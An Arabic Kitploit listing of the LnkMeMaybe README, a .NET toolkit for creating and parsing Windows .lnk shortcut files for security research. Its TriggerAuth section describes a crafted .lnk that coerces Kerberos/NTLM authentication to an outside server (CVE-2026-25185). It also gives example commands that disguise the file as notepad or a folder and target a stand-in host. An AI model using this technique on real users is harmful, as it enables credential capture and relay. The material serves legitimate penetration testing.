Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
LnkMeMaybe — أدوات لصناعة أبحاث ملفات Lnk | Kitploit
أدوات/GitHubGitHub/trustedsec/lnkmemaybe
توليد الحمولةالاستغلالالتحاليل الرقمية الجنائيةاختبار الاختراقالهندسة الاجتماعيةتحليل الملفات الثنائية
GitHubtrustedsec/lnkmemaybe

LnkMeMaybe

أدوات لصناعة أبحاث ملفات Lnk

عرض المستودع
185114منذ 6 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
الموقع الإلكتروني
مشاركة

LnkMeMaybe

مجموعة أدوات مبنية على .NET 8 لإنشاء وتحليل ملفات Windows Shell Link (.lnk). تتضمن أداة بناء عبر سطر الأوامر (LnkMeMaybe) ومحررًا رسوميًا (LnkUi). صُمّمت لأغراض أبحاث الأمن واختبار الاختراق.


المشاريع

المشروعالوصف
Lnk/المكتبة الأساسية. تَحلّل وتُنشئ تنسيق .lnk الثنائي وفقًا لمواصفة MS-SHLLINK. LnkHandler هو نقطة الدخول الرئيسية، ويجمع بين ShellLinkHeader وLinkTargetIDList وLinkInfo وStringData وExtraData.
LnkMeMaybe/أداة سطر الأوامر. أوامر لتوليد مجموعة متنوعة من ملفات .lnk. تستخدم إطار عمل Titanis.Cli.
LnkUi/محرر سطح مكتب بنمط MVVM مبنٍ على Avalonia 11. سبعة ViewModels تغلّف مكونات مكتبة Lnk المقابلة. مفيد للاستكشاف اليدوي وفحص ملفات .lnk.
LnkTests/مجموعة اختبارات MSTest. عينات حقيقية من ملفات .lnk مضمّنة كموارد. تغطي ShellLinkHeader وLinkInfo.

سطر الأوامر — LnkMeMaybe

المعاملات المشتركة

تشترك جميع الأوامر في المعاملات الأساسية التالية (من BaseSavedCommand):


TriggerAuth (CVE-2026-25185)

ينشئ ملف .lnk يطلق مصادقة Kerberos (مع التراجع إلى NTLM) إلى خادم محدد. لا يقوم ملف .lnk بتنفيذ أي شيء.

السيناريوهات التي يتم فيها إطلاق المصادقة:

  1. يتصفح المستخدم إلى المشاركة التي تحتوي على ملف .lnk — تتم مصادقة حساب المستخدم صادرًا.
  2. يوضع ملف .lnk في موقع تم ضبط الجهاز على فهرسته — تقوم SearchProtocolHost بالمصادقة بصفة SYSTEM.
  3. MSSense قيد التشغيل والموقع غير مستثنى — يقوم MSSense.exe بالمصادقة بصفة SYSTEM.

المعاملات:

أمثلة:

root@kitploit:~
# إرسال المصادقة إلى \\controlled.example.org\IPC$ مع التظاهر بأنه notepad
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# إرسال المصادقة إلى مسار مشاركة محدد مع التظاهر بأنه اختصار مجلد
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk

WebShortcut

ينشئ ملف .lnk يشير إلى عنوان URL على الويب. عادةً ينشئ Windows ملف .url لاختصارات الويب؛ هذا الأمر يُنتج ملف .lnk بدلاً من ذلك.

المعاملات:

المعاملمطلوبالوصف
--Urlنعمعنوان URL الذي يجب أن يشير إليه الاختصار. يجب أن يكون عنوان URI مطلقًا جيد التكوين.

مثال:

root@kitploit:~
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk

LocalShortcut

ينشئ اختصار Windows قياسيًا إلى ملف أو مجلد محلي. يُخزَّن مسار الهدف كقائمة معرّفات عناصر shell (PIDL) — التنسيق الأصلي الذي يستخدمه Windows لاختصارات نظام الملفات.

المعاملات:

أمثلة:

root@kitploit:~
# إنشاء اختصار إلى Notepad
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# اختصار مع وسائط وأيقونة مخصصة
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# اختصار يُفتح بحالة Maximized ويطلب رفع المستوى
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk

EnvShortcut

ينشئ ملف .lnk حيث يُخزَّن مسار الهدف كسلسلة متغير بيئة قابلة للتوسيع (EnvironmentVariableDataBlock). هذا هو التنسيق الذي يستخدمه Windows للاختصارات إلى الملفات التنفيذية للنظام (مثل %SystemRoot%\system32\notepad.exe). يتم توسيع المتغيرات وقت التشغيل، مما يجعل الاختصار قابلًا للنقل عبر تثبيتات Windows المختلفة.

المعاملات:

أمثلة:

root@kitploit:~
# اختصار إلى Notepad باستخدام مسار متغير بيئة
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# اختصار إلى تطبيق في ملف تعريف المستخدم مع وسائط
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk

البناء

root@kitploit:~
# بناء (تصحيح الأخطاء)
dotnet build Lnk.sln

# بناء (إصدار نهائي، المشاريع الأساسية فقط)
dotnet build -c Release build.slnf

# تشغيل جميع الاختبارات
dotnet test

# تشغيل فئة اختبار محددة
dotnet test --filter "ClassName=lnkHeader"

# نشر ملف تنفيذي واحد ذاتي الاحتواء (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj

الإصدارات

تتوفر ملفات ثنائية مُجمّعة مسبقًا لأنظمة Windows وLinux وmacOS (x64 وarm64) في صفحة Releases.

يتضمن كل إصدار بنيتين مستقلتين (لا تتطلبان .NET runtime) ومعتمدتين على الإطار (تتطلبان .NET 8 runtime) لكل من LnkMeMaybe وLnkUi.

إفصاح استخدام الذكاء الاصطناعي

استُخدمت أنظمة الذكاء الاصطناعي في المهام التالية:

  • مراجعة جودة الكود
  • توليد ملف README
  • إجراءات عمل GitHub

بخلاف ذلك، فإن الكود الموجود في هذا المستودع قد أُنشئ ورُوجِع بواسطة البشر.

تنزيل الأداة
المعاملالاسم المختصرمطلوبالوصف
--OutputPathنعممسار نظام الملفات لكتابة ملف .lnk.
--Overwriteلاالسماح بالكتابة فوق ملف موجود عند OutputPath.
--DisplayNameلاالنص الذي يظهر عند التمرير فوق الاختصار. يدعم \n للأسطر الجديدة.
--IconPath / -I-Iلامسار ملف .exe أو .dll لاستخدامه كأيقونة للاختصار. يجب أن يكون موجودًا على النظام الهدف.
--IconIndexلافهرس مورد الأيقونة داخل الملف المحدد عبر --IconPath. القيمة الافتراضية: 0.
المعاملالاسم المختصرمطلوبالوصف
--FakePath / -F-Fنعمالمسار المعروض كهدف في خصائص ملف .lnk.
--Server / -S-Sنعماسم مضيف الخادم أو عنوان IP أو مسار UNC لإرسال المصادقة إليه. يُلحق IPC$ إذا لم يتم تحديد مشاركة.
--Darwinلامعرّف Darwin المخزن في ملف .lnk. يمكن أن يكون أي قيمة. القيمة الافتراضية: unset.
المعاملالاسم المختصرمطلوبالوصف
--TargetPathنعمالمسار المطلق للملف أو المجلد الهدف.
--Argumentsلاوسائط سطر الأوامر لتمريرها إلى الهدف.
--WorkingDirectory-Wلادليل العمل للعملية الهدف.
--RunAsAdminلاطلب رفع مستوى UAC عند تشغيل الاختصار.
--ShowCommandلاحالة النافذة عند التشغيل: Normal أو Maximized أو Minimized.
المعاملالاسم المختصرمطلوبالوصف
--TargetPathنعمالمسار الهدف، يمكن أن يتضمن متغيرات بيئة مثل %SystemRoot% أو %USERPROFILE%.
--Argumentsلاوسائط سطر الأوامر لتمريرها إلى الهدف.
--WorkingDirectory-Wلادليل العمل للعملية الهدف.
--RunAsAdminلاطلب رفع مستوى UAC عند تشغيل الاختصار.
--ShowCommandلاحالة النافذة عند التشغيل: Normal أو Maximized أو Minimized.